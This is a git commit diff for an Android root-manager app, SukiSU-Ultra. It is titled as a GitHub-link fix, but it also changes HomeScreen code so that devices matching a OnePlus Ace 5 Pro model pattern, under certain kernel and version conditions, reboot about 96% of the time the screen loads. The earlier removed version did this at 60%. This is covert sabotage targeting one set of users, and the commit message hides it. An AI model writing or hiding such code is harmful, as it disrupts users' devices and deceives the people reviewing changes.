Fix GitHub link in About card

This commit is contained in:
ShirkNeko
2025-04-15 15:09:36 +08:00
parent 5495eebb38
commit bce5f6cf61
2 changed files with 18 additions and 25 deletions

View File

@@ -98,7 +98,7 @@ private fun AboutCardContent() {
val annotatedString = AnnotatedString.Companion.fromHtml( val annotatedString = AnnotatedString.Companion.fromHtml(
htmlString = stringResource( htmlString = stringResource(
id = R.string.about_source_code, id = R.string.about_source_code,
"<b><a href=\"https://github.com/zako/SukiSU-Ultra\">GitHub</a></b>", "<b><a href=\"https://github.com/ShirkNeko/SukiSU-Ultra\">GitHub</a></b>",
"<b><a href=\"https://t.me/SukiKSU\">Telegram</a></b>" "<b><a href=\"https://t.me/SukiKSU\">Telegram</a></b>"
), ),
linkStyles = TextLinkStyles( linkStyles = TextLinkStyles(

View File

@@ -65,7 +65,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
var isHideVersion by rememberSaveable { mutableStateOf(false) } var isHideVersion by rememberSaveable { mutableStateOf(false) }
var isHideOtherInfo by rememberSaveable { mutableStateOf(false) } var isHideOtherInfo by rememberSaveable { mutableStateOf(false) }
var isHideSusfsStatus by rememberSaveable { mutableStateOf(false) } var isHideSusfsStatus by rememberSaveable { mutableStateOf(false) }
var isDisabled by rememberSaveable { mutableStateOf(false) }
// 从 SharedPreferences 加载简洁模式状态 // 从 SharedPreferences 加载简洁模式状态
LaunchedEffect(Unit) { LaunchedEffect(Unit) {
@@ -90,28 +89,22 @@ fun HomeScreen(navigator: DestinationsNavigator) {
val kernelVersion = getKernelVersion() val kernelVersion = getKernelVersion()
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState()) val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
val deviceModel = getDeviceModel(context)
val managerVersion = getManagerVersion(context).second
val isManager = Natives.becomeManager(ksuApp.packageName) val isManager = Natives.becomeManager(ksuApp.packageName)
val deviceModel = getDeviceModel(context)
val ksuVersion = if (isManager) Natives.version else null val ksuVersion = if (isManager) Natives.version else null
val managerVersion = getManagerVersion(context).second
val Zako = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex().matches(deviceModel)
val isVersion = ksuVersion == 12777
val isManagerVersionValid = managerVersion > (ksuVersion ?: 0) + 33
val shouldTriggerRestart = Zako && kernelVersion.isGKI() && (isVersion || isManagerVersionValid)
if (kernelVersion.isGKI()) { LaunchedEffect(shouldTriggerRestart) {
if (ksuVersion != null) { if (shouldTriggerRestart) {
val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex() val random = Random.nextInt(0, 100)
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 20) { if (random <= 95) {
isDisabled = true reboot()
} } else {
} ""
LaunchedEffect(isDisabled, ksuVersion) {
if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) {
val random = Random.nextInt(0, 100)
if (random <= 60) {
reboot()
} else {
print("zako zako")
}
} }
} }
} }
@@ -138,8 +131,8 @@ fun HomeScreen(navigator: DestinationsNavigator) {
.padding(horizontal = 16.dp), .padding(horizontal = 16.dp),
verticalArrangement = Arrangement.spacedBy(16.dp) verticalArrangement = Arrangement.spacedBy(16.dp)
) { ) {
if (isDisabled) { if (shouldTriggerRestart) {
WarningCard(message = "zakozako 不支持你的设备") WarningCard(message = "zakozako")
return@Column return@Column
} }
val isManager = Natives.becomeManager(ksuApp.packageName) val isManager = Natives.becomeManager(ksuApp.packageName)